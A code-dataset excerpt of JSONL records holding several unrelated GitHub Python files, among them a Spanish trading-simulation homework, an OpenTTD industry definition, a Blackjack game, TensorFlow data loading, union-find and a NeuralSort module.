int(dia_actual):\n                        self._nacimiento = value\n            else:\n                print(\"La fecha debe estar entre 1900 y 2017\")\n\n            if int(mes) > 12 or int(mes) < 1:\n                print(\"Mes no valido\")\n                self._nacimiento = \"\"\n            if int(dia) > 31 or int(dia) < 1:\n                print(\"Dia no valido\")\n                self._nacimiento = \"\"\n        except:\n            print(\"Formato no valido\")\n            self._nacimiento = \"\"\n\n    def agregar_mercado(self, mercado):\n        self.mercados.append(mercado)\n        if mercado.divisa_compraventa not in self.balance_currencies.keys():\n            self.balance_currencies.update({mercado.divisa_compraventa :\n                                                d(\"50000\")})\n            # se agregan los 50.000\n        else:\n            self.balance_currencies[mercado.divisa_compraventa] += d(\"50000\")\n        if mercado.moneda_de_cambio not in self.balance_currencies.keys():\n            self.balance_currencies.update({mercado.moneda_de_cambio :\n                                                d(\"50000\")})\n        else:\n            self.balance_currencies[mercado.moneda_de_cambio] += d(\"50000\")\n\n    def determinar_edad(self):\n        año = self.nacimiento[0:4]\n        mes = self.nacimiento[5:7]\n        dia = self.nacimiento[8:]\n        año_actual = strftime(\"%Y\", gmtime())\n        mes_actual = strftime(\"%m\", gmtime())\n        dia_actual = strftime(\"%d\", gmtime())\n        diferencia = int(año_actual) - int(año)\n        if int(mes_actual) < int(mes):\n            return diferencia - 1\n        elif int(mes_actual) > int(mes):\n            return diferencia\n        else:\n            if int(dia_actual) < int(dia):\n                return diferencia - 1\n            else:\n                return diferencia\n\n    def __str__(self):\n        imprimir = \"Usuario: \" + self.username + \". Nombre: \" + self.nombre \\\n                   + \". Apellido: \" + self.apellido\n        return imprimir\n\n\nclass Underaged(Usuario):\n    def __init__(self, username, nombre, apellido, nacimiento):\n        Usuario.__init__(self, username, nombre, apellido, nacimiento)\n\n    def agregar_mercado(self, mercado):\n        # solo agrega el mercado, no se le agrega nada al saldo porque no tiene\n        self.mercados.append(mercado)\n\n\nclass Trader(Usuario):\n    def __init__(self, username, nombre, apellido, nacimiento):\n        Usuario.__init__(self, username, nombre, apellido, nacimiento)\n        self.balance_currencies = {\"DCC\": d(\"300000\")}\n        self.orders_realizadas = []  # lista de ids\n\n    def generar_balance(self):  # agregar al diccionario de balances a\n                                #  partir de los mercados registrados\n        for mercado in self.mercados:\n            currency1 = mercado.ticker[0:3]\n            currency2 = mercado.ticker[3:]\n            if currency1 not in self.balance_currencies.keys():\n                self.balance_currencies.update({currency1: d(\"0\")})\n            if currency2 not in self.balance_currencies.keys():\n                self.balance_currencies.update({currency2: d(\"0\")})\n\n    def ingresar_ask(self, usuario, mercado, divisa_venta, moneda_de_cambio):\n        tiempo_actual = strftime(\"%Y-%m-%d\", gmtime())\n        nuevo_ask = Ask(usuario, mercado, divisa_venta, moneda_de_cambio,\n                        tiempo_actual)\n        mercado.orders.append(nuevo_ask)\n        mercado.asks.append(nuevo_ask)\n        mercado.asks_activos.append(nuevo_ask)\n        if mercado.moneda_de_cambio not in usuario.balance_currencies.keys():\n            usuario.balance_currencies.update({mercado.moneda_de_cambio :\n                                                   d(\"0\")})\n        return nuevo_ask\n\n    def ingresar_bid(self, usuario, mercado, divisa_compra, moneda_de_cambio):\n        tiempo_actual = strftime(\"%Y-%m-%d\", gmtime())\n        nuevo_bid = Bid(usuario, mercado, divisa_compra, moneda_de_cambio,\n                        tiempo_actual)\n        mercado.orders.append(nuevo_bid)\n        mercado.bids.append(nuevo_bid)\n        mercado.bids_activos.append(nuevo_bid)\n        if mercado.divisa_compraventa not in usuario.balance_currencies.keys():\n            usuario.balance_currencies.update({mercado.divisa_compraventa:\n                                                   d(\"0\")})\n        return nuevo_bid\n\n    def transferir_dinero(self, cantidad, usuario_destino, mercado):\n        divisa = mercado.ticker[0:3]\n        if d(self.balance_currencies[divisa]) - d(cantidad) < 0:\n            print(\"No tienes dinero suficiente para realizar la transferencia.\")\n            return\n        self.balance_currencies[divisa] = d(self.balance_currencies[divisa]) -\\\n                                          d(str(cantidad))\n        if divisa not in usuario_destino.balance_currencies.keys():\n            usuario_destino.balance_currencies.update({divisa: d(\"0\")})\n\n        usuario_destino.balance_currencies[divisa] = d(usuario_destino.\n                                                       balance_currencies[\n                                                           divisa]) + \\\n                                                         d(cantidad) * \\\n                                                         d(\"0.95\")\n        mercado.comisiones[divisa] = d(mercado.comisiones[divisa]) + \\\n                                     d(cantidad) * d(\"0.05\")\n\n\nclass Investor(Trader):\n    def __init__(self, username, nombre, apellido, nacimiento):\n        Trader.__init__(self, username, nombre, apellido, nacimiento)\n\n    def desplegar_balance_historico(self, lista_orders):\n        for order in lista_orders:\n            if order.usuario.username == self.username:\n                if order.ejecutada:\n                    if isinstance(order, Ask):\n                        perdida = d(order.divisa_venta)\n                        ganancia = (d(order.divisa_venta) *\n                                    d(order.moneda_de_cambio) *\n                                    order.mercado.determinar_tasa(self))\n                        print(\"Con la order\", order.id, \"el dia\",\n                              order.match_time, \"ganaste\", str(ganancia),\n                              order.mercado.moneda_de_cambio, \"y perdiste\",\n                              str(perdida), order.mercado.divisa_compraventa)\n                    elif isinstance(order, Bid):\n                        ganancia = d(order.divisa_compra) * \\\n                                   order.mercado.determinar_tasa(self)\n                        perdida = d(order.divisa_compra) *\\\n                                  d(order.moneda_de_cambio)\n                        print(\"Con la order\", order.id, \"el dia\",\n                              order.match_time, \"ganaste\", str(ganancia),\n                              order.mercado.moneda_de_cambio, \"y perdiste\",\n                              str(perdida), order.mercado.divisa_compraventa)\n\n\ndef identificarse(lista_usuarios):\n    while True:  # manejo de errores\n        registro = input(\"Ingrese\\n1 si ya tiene una cuenta registrada\\n2 \"\n                         \"si quiere registrar una nueva cuenta\\n\")\n        if registro != \"1\" and registro != \"2\":\n            print(\"Opcion invalida\")\n        else:\n            break\n    if registro == str(2):\n        usuario_actual = agregar_usuario(lista_usuarios)\n        return usuario_actual\n    elif registro == str(1):\n        valido = False\n        while not valido:\n            usuario_ingreso = input(\"Ingrese su nombre de usuario registrado \"\n                                    \"(0 para registrarse): \")\n            if usuario_ingreso == \"0\":\n                usuario_actual = identificarse(lista_usuarios)\n                return usuario_actual\n            for usuario in lista_usuarios:\n                if usuario.username == usuario_ingreso:\n                    valido = True\n                    usuario_actual = usuario\n            if not valido:\n                print(\"El usuario no está registrado.\")\n        print(\"\\nSu saldo es el siguiente:\")\n        if isinstance(usuario_actual, Trader):\n            for symbol, saldo in usuario_actual.balance_currencies.items():\n                print(symbol, saldo)\n        return usuario_actual\n\n\ndef agregar_usuario(lista_usuarios):\n    existe = False\n    nuevo_username = input(\"Ingresa tu nombre de usuario: \")\n    for usuario in lista_usuarios:\n        if usuario.username == nuevo_username:\n            existe = True\n            print(\"El nombre de usuario ya existe. Elige otro.\")\n            nuevo_usuario = agregar_usuario(lista_usuarios)\n            return nuevo_usuario\n    nuevo_nombre = input(\"Ingresa tu nombre: \")\n    nuevo_apellido = input(\"Ingresa tu apellido: \")\n    nuevo_usuario = Usuario(nuevo_username, nuevo_nombre, nuevo_apellido, \"\")\n    while nuevo_usuario.nacimiento == \"\":\n        nuevo_nacimiento = input(\"Ingresa tu fecha de nacimiento \"\n                                 \"(Formato 1990-10-24): \")\n        nuevo_usuario.nacimiento = nuevo_nacimiento\n    if nuevo_usuario.determinar_edad() < 18:\n        del nuevo_usuario\n        nuevo_usuario = Underaged(nuevo_username, nuevo_nombre, nuevo_apellido,\n                                  nuevo_nacimiento)\n    else:\n        del nuevo_usuario\n        nuevo_usuario = Trader(nuevo_username, nuevo_nombre, nuevo_apellido,\n                               nuevo_nacimiento)\n        nuevo_usuario.balance_currencies[\"DCC\"] = d(\"100000\")\n    lista_usuarios.append(nuevo_usuario)\n    return nuevo_usuario\n","repo_name":"mesantamaria/Advanced-programming-Homeworks","sub_path":"Tareas/T01/User.py","file_name":"User.py","file_ext":"py","file_size_in_byte":10700,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70947390772","text":"from industry import IndustryPrimaryOrganic, TileLocationChecks\n\nindustry = IndustryPrimaryOrganic(id='sheep_farm',\n                                  prod_cargo_types=['LVST', 'WOOL'],\n                                  prob_in_game='4',\n                                  prob_random='11',\n                                  prod_multiplier='[12, 14]',\n                                  map_colour='168',\n                                  location_checks=dict(cluster=[72, 4]),\n                                  spec_flags='bitmask(IND_FLAG_PLANT_FIELDS_PERIODICALLY, IND_FLAG_PLANT_FIELDS_WHEN_BUILT)',\n                                  prospect_chance='0.75',\n                                  name='string(STR_IND_SHEEPFARM)',\n                                  nearby_station_name='string(STR_STATION_SHEEP_FOLD)',\n                                  fund_cost_multiplier='45')\n\nindustry.economy_variations['FIRS'].enabled = True\n\nindustry.add_tile(id='sheep_farm_tile_1',\n                  location_checks=TileLocationChecks(disallow_coast=True,\n                                                     disallow_industry_adjacent=True))\n\nspriteset_ground = industry.add_spriteset(\n    type='empty'\n)\nspriteset_ground_overlay = industry.add_spriteset(\n    type='empty'\n)\nspriteset_1 = industry.add_spriteset(\n    sprites=[(10, 10, 64, 52, -31, -21)],\n)\nspriteset_2 = industry.add_spriteset(\n    sprites=[(80, 10, 64, 52, -31, -19)],\n)\nspriteset_3 = industry.add_spriteset(\n    sprites=[(150, 10, 64, 52, -31, -21)],\n)\nspriteset_4 = industry.add_spriteset(\n    sprites=[(220, 10, 64, 52, -31, -21)],\n)\nspriteset_5 = industry.add_spriteset(\n    sprites=[(290, 10, 64, 52, -31, -21)],\n)\n\nindustry.add_spritelayout(\n    id='sheep_farm_spritelayout_1',\n    ground_sprite=spriteset_ground,\n    ground_overlay=spriteset_ground_overlay,\n    building_sprites=[spriteset_1],\n    terrain_aware_ground=True\n)\nindustry.add_spritelayout(\n    id='sheep_farm_spritelayout_2',\n    ground_sprite=spriteset_ground,\n    ground_overlay=spriteset_ground_overlay,\n    building_sprites=[spriteset_2],\n    terrain_aware_ground=True\n)\nindustry.add_spritelayout(\n    id='sheep_farm_spritelayout_3',\n    ground_sprite=spriteset_ground,\n    ground_overlay=spriteset_ground_overlay,\n    building_sprites=[spriteset_3],\n    terrain_aware_ground=True\n)\nindustry.add_spritelayout(\n    id='sheep_farm_spritelayout_4',\n    ground_sprite=spriteset_ground,\n    ground_overlay=spriteset_ground_overlay,\n    building_sprites=[spriteset_4],\n    terrain_aware_ground=True\n)\nindustry.add_spritelayout(\n    id='sheep_farm_spritelayout_5',\n    ground_sprite=spriteset_ground,\n    ground_overlay=spriteset_ground_overlay,\n    building_sprites=[spriteset_5],\n    terrain_aware_ground=True\n)\n\nindustry.add_industry_layout(\n    id='sheep_farm_industry_layout_1',\n    layout=[(0, 0, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_3'),\n            (1, 0, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_2'),\n            (1, 2, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_4'),\n            (3, 0, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_1'),\n            (3, 1, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_5'),\n            ]\n)\nindustry.add_industry_layout(\n    id='sheep_farm_industry_layout_2',\n    layout=[(0, 0, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_2'),\n            (0, 1, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_1'),\n            (0, 2, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_4'),\n            (2, 0, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_3'),\n            (2, 2, 'sheep_farm_tile_1', 'sheep_farm_spritelayout_5'),\n            ]\n)\n","repo_name":"EmperorJake/XIS","sub_path":"src/industries/sheep_farm.py","file_name":"sheep_farm.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"21"}
+{"seq_id":"33789913625","text":"def make_full_name(first, last):\n    \"\"\"\n    This function takes two arguments: first and last, which represent a person's first name and last name respectively\n\n    Returns a single string '<first name> <space> <last name>'\n    \"\"\"\n    full_name = first + ' ' + last\n    return full_name\n\n\nfull = make_full_name('Tony', 'Macaroni')\nprint(full)\n","repo_name":"MassStreetDataSchool/survival-python","sub_path":"06 Functions/return_values_1.py","file_name":"return_values_1.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"72872706612","text":"import unittest\nimport numpy as np\nimport synthetics as syn\nimport attributes as att\n\n\n\ndef suite():\n    suite = unittest.TestSuite()\n    suite.addTest(SimpleTests('test_asdec'))\n    suite.addTest(SimpleTests('test_duration'))\n    suite.addTest(SimpleTests('test_rapps'))\n    suite.addTest(HigherStatsTests('test_signal_kurtosis'))\n    suite.addTest(HigherStatsTests('test_signal_skew'))\n    suite.addTest(HigherStatsTests('test_KurtoF'))\n    suite.addTest(AutoCorTests('test_peaks'))\n\n    return suite\n    \n    \nclass SimpleTests(unittest.TestCase):\n    \n    def setUp(self):\n        self.npts = 3000\n        self.dt = 0.01\n        self.poly_coefs = [0.05, -0.75, 0.1, 1.0]\n        self.tr = syn.gen_sweep_poly(self.dt, self.npts, self.poly_coefs)\n        \n    def test_asdec(self):\n        imax_fraction = 0.2\n        max_amp = 300\n        tr, modulation = syn.modulate_trace_triangle(self.tr, imax_fraction, \n                                                     max_amp)\n        AsDec = att.get_AsDec(tr)\n        self.assertAlmostEqual(AsDec, imax_fraction / (1-imax_fraction), 2)\n\n    def test_duration(self):\n        Duration = att.get_Duration(self.tr)\n        self.assertAlmostEqual(Duration, (self.npts-1) * self.dt)\n\n    def test_rapps(self):\n        imax_fraction = 0.5\n        max_amp = 300\n        tr, modulation = syn.modulate_trace_triangle(self.tr, imax_fraction, \n                                                     max_amp)\n        RappMaxMean, RappMaxMedian, RappMaxStd = att.get_RappStuff(tr)\n        self.assertTrue(RappMaxMean > 2)\n        self.assertAlmostEqual(RappMaxMedian, RappMaxMean, 1)\n\n\nclass HigherStatsTests(unittest.TestCase):\n\n    def setUp(self):\n        self.npts = 300000\n        self.dt = 0.01\n        self.amp = 100.0\n        self.tr = syn.gen_gaussian_noise(self.dt, self.npts, self.amp)\n        self.KurtoEnv, self.KurtoSig, self.SkewnessEnv, self.SkewnessSig = \\\n            att.get_KurtoSkew(self.tr)\n\n    def test_signal_kurtosis(self):\n        self.assertAlmostEqual(self.KurtoSig, 3.0, 1)\n\n    def test_signal_skew(self):\n        self.assertAlmostEqual(self.SkewnessSig, 0.0, 1)\n\n    def test_KurtoF(self):\n        ES, KurtoF = att.get_freq_band_stuff(self.tr)\n        self.assertAlmostEqual(np.mean(KurtoF), 3.0, 1)\n\nclass AutoCorTests(unittest.TestCase):\n\n    def setUp(self):\n        self.npts = 3000\n        self.dt = 0.01\n        self.sig_npts = 100\n        self.sig_amp = 5\n        self.n_sig = 3\n        self.tr = syn.gen_repeat_signal(self.dt, self.npts, self.sig_npts,\n                                        self.sig_amp, self.n_sig)\n        self.CorrPeakNumber, self.INTRATIO = att.get_CorrStuff(self.tr)\n\n    def test_peaks(self):\n        self.assertEqual(self.CorrPeakNumber, 3)\n\nif __name__ == '__main__':\n\n    unittest.TextTestRunner(verbosity=2).run(suite())\n","repo_name":"hibertclement/eqdiscrim","sub_path":"eqdiscrim/test_attributes.py","file_name":"test_attributes.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35663339825","text":"# 숫자카드.py\n\nimport sys\nsys.stdin = open(\"구간합_input.txt\", \"r\")\n\nT = int(input())\n\nfor test_case in range(1, T + 1):\n    N, M = map(int, input().split())\n    arr = list(map(int, input().split()))\n\n    min = 987654321\n    max = -987654321\n    for i in range(N-M+1):\n        sum = 0\n        for j in range(M):\n            sum += arr[i+j]\n        if sum > max : max = sum\n        if sum < min : min = sum\n\n    print(\"#{0} {1}\".format(test_case, max - min))","repo_name":"gogumasitda/TIL","sub_path":"algorithm/01.15/day2/구간합.py","file_name":"구간합.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"36363237560","text":"############### Blackjack Project #####################\n\nimport random\nimport os\nfrom art import logo\n\ndef clear(): os.system('cls') #on Windows System\nclear()\n\ndef draw_card():\n  cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10] \n  pick = random.choice(cards)\n  return pick\n\ndef calculate_score(cards):\n  if sum(cards) == 21 and len(cards) == 2:\n    return 0  \n\n  if 11 in cards and sum(cards) > 21:\n    cards.remove(11)\n    cards.append(1)\n  return sum(cards)\n\ndef compare(user_score, computer_score):\n  if user_score > 21 and computer_score > 21:\n    return \"You both lose. Game over!\"\n  \n  if user_score == computer_score:\n    return \"It's a draw.\"\n  elif computer_score == 0:\n    return \"Computer has BlackJack! You lose!\"\n  elif user_score == 0:\n    return \"You have BlackJack! You win!\"\n  elif computer_score > 21:\n    return \"Computer Bust! You Win!\"\n  elif user_score > 21:\n    return \"Bust! You lose!\"\n  elif user_score > computer_score:\n    return \"You Win!\"\n  else:\n    return \"You lose.\"\n\ndef game_start():\n\n  print(logo)\n  \n  user_cards = []\n  computer_cards = []\n  is_game_over = False\n  \n  for space in range(2):\n    user_cards.append(draw_card())\n    computer_cards.append(draw_card())\n  \n  while not is_game_over:\n    user_score = calculate_score(user_cards)\n    computer_score = calculate_score(computer_cards)\n    print(f\"   Your cards are {user_cards},  Your score is {user_score}.\")\n    print(f\"   Computer draws: {computer_cards[0]}\")\n  \n    if user_score == 0 or computer_score == 0 or user_score > 21:\n      is_game_over = True\n    else:\n      user_should_deal = input(\"Would you like to draw another card. Type 'y' or 'n': \")\n      if user_should_deal == \"y\":\n        user_cards.append(draw_card())\n      else:\n        is_game_over = True\n  \n  while computer_score != 0 and computer_score <17:\n    computer_cards.append(draw_card())\n    computer_score = calculate_score(computer_cards)\n  print(f\"    Your final hand is: {user_cards}, Your final score is: {user_score}\")\n  print(f\"    Computers final hand is: {computer_cards}, Computer final score is: {computer_score}\")\n  print(compare(user_score, computer_score))\n      \n\nwhile input(\"Would you like to play blackjack? Type 'y' or 'n': \") == \"y\":\n  clear()\n  game_start()\n\n\n","repo_name":"MorEnergy/BlackJack-Game","sub_path":"BlackJack Game.py","file_name":"BlackJack Game.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"30494633940","text":"#FIGlet, named after Frank, Ian, and Glen’s letters, is a program from the early 1990s for making large letters\r\n# out of ordinary text, a form of ASCII art:\r\n\r\n#Among the fonts supported by FIGlet are those at figlet.org/examples.html.\r\n#FIGlet has since been ported to Python as a module called pyfiglet.\r\n#In a file called figlet.py, implement a program that:\r\n\r\n#Expects zero or two command-line arguments:\r\n#Zero if the user would like to output text in a random font.\r\n#Two if the user would like to output text in a specific font, in which case the first of the two should be -f or --font,\r\n#  and the second of the two should be the name of the font.\r\n#Prompts the user for a str of text.\r\n#Outputs that text in the desired font.\r\n#If the user provides two command-line arguments and the first is not -f or --font or the second is not the name of a font,\r\n# the program should exit via sys.exit with an error message.\r\n\r\nimport random\r\nimport sys\r\nfrom pyfiglet import Figlet\r\n\r\nfiglet = Figlet()\r\nf = figlet.getFonts()                        # assign f a list of available fonts\r\n\r\nif sys.argv[2] not in f:\r\n    sys.exit(\"Incorrect command-line arguments\")\r\n\r\nelif len(sys.argv) == 1:   # ==1 beacuse first argument, sys.argv[0] will be figlet.py so its supposed to be only 1\r\n    r = random.choice(f)                \r\n    figlet.setFont(font=r)                          # set a random font\r\nelif sys.argv[1] == \"--font\" or sys.argv[1] == \"-f\":\r\n    figlet.setFont(font=sys.argv[2])    # the third argument aka sys.argv[2] is the fonts name\r\nelse:\r\n     sys.exit(\"Incorrect command-line arguments\")\r\nstr = input(\"Input: \")\r\nprint(\"Output:\",figlet.renderText(str))            #output str in the random chosen font\r\n\r\n\r\n\r\n\r\n#if the user provides two command-line arguments and the first is not -f or --font or the second is not the name of a font","repo_name":"rodrigobivarazevedo/Python1","sub_path":"libraries/fiflet.py","file_name":"fiflet.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25876807702","text":"\n\nimport torch\nfrom torch import Tensor\n\n\nclass NeuralSort (torch.nn.Module):\n    def __init__(self, tau=1.0, hard=False):\n        super(NeuralSort, self).__init__()\n        self.hard = hard\n        self.tau = tau\n\n    def forward(self, scores: Tensor):\n        \"\"\"\n        scores: elements to be sorted. Typical shape: batch_size x n x 1\n        \"\"\"\n        scores = scores.unsqueeze(-1)\n        bsize = scores.size()[0]\n        dim = scores.size()[1]\n        one = torch.cuda.FloatTensor(dim, 1).fill_(1)\n\n        A_scores = torch.abs(scores - scores.permute(0, 2, 1))\n        B = torch.matmul(A_scores, torch.matmul(\n            one, torch.transpose(one, 0, 1)))\n        scaling = (dim + 1 - 2 * (torch.arange(dim) + 1)\n                   ).type(torch.cuda.FloatTensor)\n        C = torch.matmul(scores, scaling.unsqueeze(0))\n\n        P_max = (C-B).permute(0, 2, 1)\n        sm = torch.nn.Softmax(-1)\n        P_hat = sm(P_max / self.tau)\n\n        if self.hard:\n            P = torch.zeros_like(P_hat, device='cuda')\n            b_idx = torch.arange(bsize).repeat([1, dim]).view(dim, bsize).transpose(\n                dim0=1, dim1=0).flatten().type(torch.cuda.LongTensor)\n            r_idx = torch.arange(dim).repeat(\n                [bsize, 1]).flatten().type(torch.cuda.LongTensor)\n            c_idx = torch.argmax(P_hat, dim=-1).flatten()  # this is on cuda\n            brc_idx = torch.stack((b_idx, r_idx, c_idx))\n\n            P[brc_idx[0], brc_idx[1], brc_idx[2]] = 1\n            P_hat = (P-P_hat).detach() + P_hat\n        return P_hat\n","repo_name":"ermongroup/neuralsort","sub_path":"pytorch/neuralsort.py","file_name":"neuralsort.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":124,"dataset":"github-code","pt":"21"}
+{"seq_id":"4225917850","text":"import os\nimport firebase_admin\nfrom firebase_admin import credentials, storage\n\n# Obtenez le chemin absolu du fichier JSON\ncurrent_directory = os.path.dirname(os.path.abspath(__file__))\nprint(current_directory)\njson_path = os.path.join(current_directory, \"airneis-bfec3-firebase-adminsdk-muxxs-b5021cd036.json\")\n\ncred = credentials.Certificate(json_path)\nfirebase_admin.initialize_app(cred, {'storageBucket': 'gs://airneis-bfec3.appspot.com'}, force_firebase_install=True)\n\nbucket = storage.bucket()\n\ndef list_files_with_directory(path):\n    blobs = bucket.list_blobs(prefix=path)\n    for blob in blobs:\n        relative_path = os.path.relpath(blob.name, path)\n        print(f\"Lien : gs://{bucket.name}/{blob.name}\")\n        print(f\"Répertoire d'origine : {os.path.dirname(relative_path)}\")\n        print(\"-\" * 50)\n\nroot_directory = 'images'\nlist_files_with_directory(root_directory)\n","repo_name":"Azurhys/airneis","sub_path":"web/Utile/Gs_to_Url.py","file_name":"Gs_to_Url.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28020358406","text":"import tensorflow as tf\nimport numpy as np\n\n\nclass BatchedDataset(object):\n    def __init__(self, raw_data, batch_size, num_steps, forever=False):\n        raw_data = np.array(raw_data)\n        data_len = len(raw_data)\n        batch_len = data_len // batch_size\n        self.data = np.reshape(raw_data[0 : batch_size * batch_len],\n                               [batch_size, batch_len])\n        self.epoch_size = (batch_len - 1) // num_steps\n        self.num_steps = num_steps\n        self.batch_size = batch_size\n        self.forever = forever\n\n    def generator(self):\n        i = 0\n        while True:\n            x = self.data[:, i*self.num_steps:(i+1)*self.num_steps]\n            y = self.data[:, (i*self.num_steps + 1):((i+1)*self.num_steps+1)]\n            yield x, y\n            i += 1\n            if i == self.epoch_size:\n                if self.forever:\n                    i = 0\n                else:\n                    break\n\ndef file_sequence_generator(filename, batch_size, num_steps, forever=False):\n    with open(filename) as fp:\n        data = [int(x) for x in fp.readlines()]\n\n    batched_dset = BatchedDataset(data, batch_size, num_steps, forever=forever)\n    return batched_dset.generator\n\ndef create_tf_dataset(filename, batch_size, num_steps, forever=False):\n    return tf.data.Dataset.from_generator(file_sequence_generator(filename, batch_size, num_steps,\n                                                                  forever=forever),\n                                          (tf.int64, tf.int64),\n                                          (tf.TensorShape([batch_size, num_steps]),\n                                           tf.TensorShape([batch_size, num_steps])))\n\n\ndef oneshot_input_fn(dset):\n    iterator = dset.make_one_shot_iterator()\n    x, y = iterator.get_next()\n    return {'tokens': x}, y\n\nif __name__ == \"__main__\":\n    ds = create_tf_dataset(\"data/processed/jokes.dat\", batch_size=32, num_steps=50, forever=False)\n    value = ds.make_one_shot_iterator().get_next()\n    init_op = tf.global_variables_initializer()\n    with tf.Session() as sess:\n        sess.run(init_op)\n        x = sess.run(value)\n        print(x)\n\n","repo_name":"kjchavez/jokes","sub_path":"jokes/models/input.py","file_name":"input.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1867231706","text":"# 집합의 표현\nimport sys\nsys.setrecursionlimit(10**6)\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\nparents = [i for i in range(n+1)]\n\ndef find(x):\n  if x != parents[x]:\n    parents[x] = find(parents[x])\n  return parents[x]\n\ndef union(x, y):\n  x = find(x)\n  y = find(y)\n  if x < y:\n    parents[y] = x\n  else:\n    parents[x] = y\n  \nfor _ in range(m):\n  cal, a, b = map(int, input().split())\n  if cal == 0:\n    union(a, b)\n  else:\n    if find(a) == find(b):\n      print('YES')\n    else:\n      print('NO')\n","repo_name":"watchstep/TIS-python","sub_path":"BAEKJOON/gold4/1717.py","file_name":"1717.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32755186202","text":"\nclass MetricGroup:\n\n    def __init__(self, metrics):\n        for attr in metrics:\n            setattr(self, attr, 0)\n\nclass SimpleMetricGroup:\n\n    def __init__(self, metrics):\n        for attr in metrics:\n            setattr(self, attr, 0)\n\nclass IterMetrics:\n\n    metrics = ['iter_index', 'recall', 'viterbi_recall', 'logprobs', 'alpha', 'rb_score', 'zipf_p', 'zipf_L', 'zipf_alpha',\n               'zipf_rules_p','zipf_rules_alpha', 'zipf_rules_L', 'ave_entropy',\n               'ave_confus', 'logprob_joint_tree', 'logprob_conditional_tree', 'max_depth_by_sent_len'\n               ,'surprisal', 'joint_surprisal', 'conditional_tree_surprisal', 'rule_complexity', 'accu_ave_tree_depth',\n               'ave_lb_length', 'ave_rb_length', 'ave_max_lb_length', 'ave_max_rb_length', 'surprisal_variance',\n               'viterbi_logprob_joint_tree', 'viterbi_joint_surprisal' , 'viterbi_ave_lb_length', 'viterbi_ave_rb_length',\n               'viterbi_max_depth_by_sent_len', 'viterbi_rb_score', 'viterbi_accu_ave_tree_depth',\n               'viterbi_ave_max_lb_length', 'viterbi_ave_max_rb_length', 'viterbi_rule_complexity', 'ave_span_length',\n               'ave_max_span_length', 'grammar_tree_joint_logporb',\n               'joint_surprisal_var', 'grammar_tree_joint_surprisal',\n               'grammar_logprob', 'grammar_surprisal']\n\n    def __init__(self, iter_index=0):\n        self.iter_index = iter_index\n        self.iter_metrics = [MetricGroup(self.metrics)]\n\n    def spawn_iter(self):\n        iter_index = self.iter_index + 1\n        new_metric = MetricGroup(self.metrics)\n        new_metric.iter_index = iter_index\n\n        return new_metric\n\n    @property\n    def last_iter(self):\n        return self.iter_metrics[-1]\n\n    @last_iter.setter\n    def last_iter(self, metric_group:MetricGroup):\n        self.iter_metrics.append(metric_group)\n        self.iter_index = metric_group.iter_index\n\nclass SimpleIterMetrics:\n\n    metrics = ['iter_index', 'batch_index', 'viterbi_recall', 'logprobs', 'rb_score', 'vm_nopunc', 'vm_withpunc',\n               'vas', 'sparsity', 'alpha', 'viterbi_upper', 'dev_logprobs', 'dev_vas' ]\n\n    def __init__(self):\n        self.batch_metrics = [SimpleMetricGroup(self.metrics)]\n        self.best_batch_per_metric = {}\n        for m in self.metrics:\n            self.best_batch_per_metric[m] = self.batch_metrics[-1]\n        self.burn_in_iters = 5\n\n    def spawn_batch(self, batch_index=0, iter_index=0):\n        new_metric = SimpleMetricGroup(self.metrics)\n        new_metric.batch_index = batch_index\n        new_metric.iter_index = iter_index\n        return new_metric\n\n    @property\n    def last_batch(self):\n        return self.batch_metrics[-1]\n\n    @last_batch.setter\n    def last_batch(self, metric_group:SimpleMetricGroup):\n        self.batch_metrics.append(metric_group)\n        self._update_best_metric_batch(metric_group)\n\n    def _update_best_metric_batch(self, metric_group:SimpleMetricGroup):\n        if metric_group.iter_index > self.burn_in_iters:\n            for m in self.metrics:\n                current_best = self.best_batch_per_metric[m]\n                if getattr(metric_group, m) > getattr(current_best, m):\n                    self.best_batch_per_metric[m] = metric_group\n        else:\n            return\n\n    def write_out_last(self, fn):\n        vals = []\n        for name in self.metrics:\n            vals.append(str(getattr(self.last_batch, name)))\n        string = '\\t'.join(vals)\n        fn.write(string+'\\n')\n        fn.flush()\n","repo_name":"lifengjin/acl_flow","sub_path":"scripts/metric_groups.py","file_name":"metric_groups.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
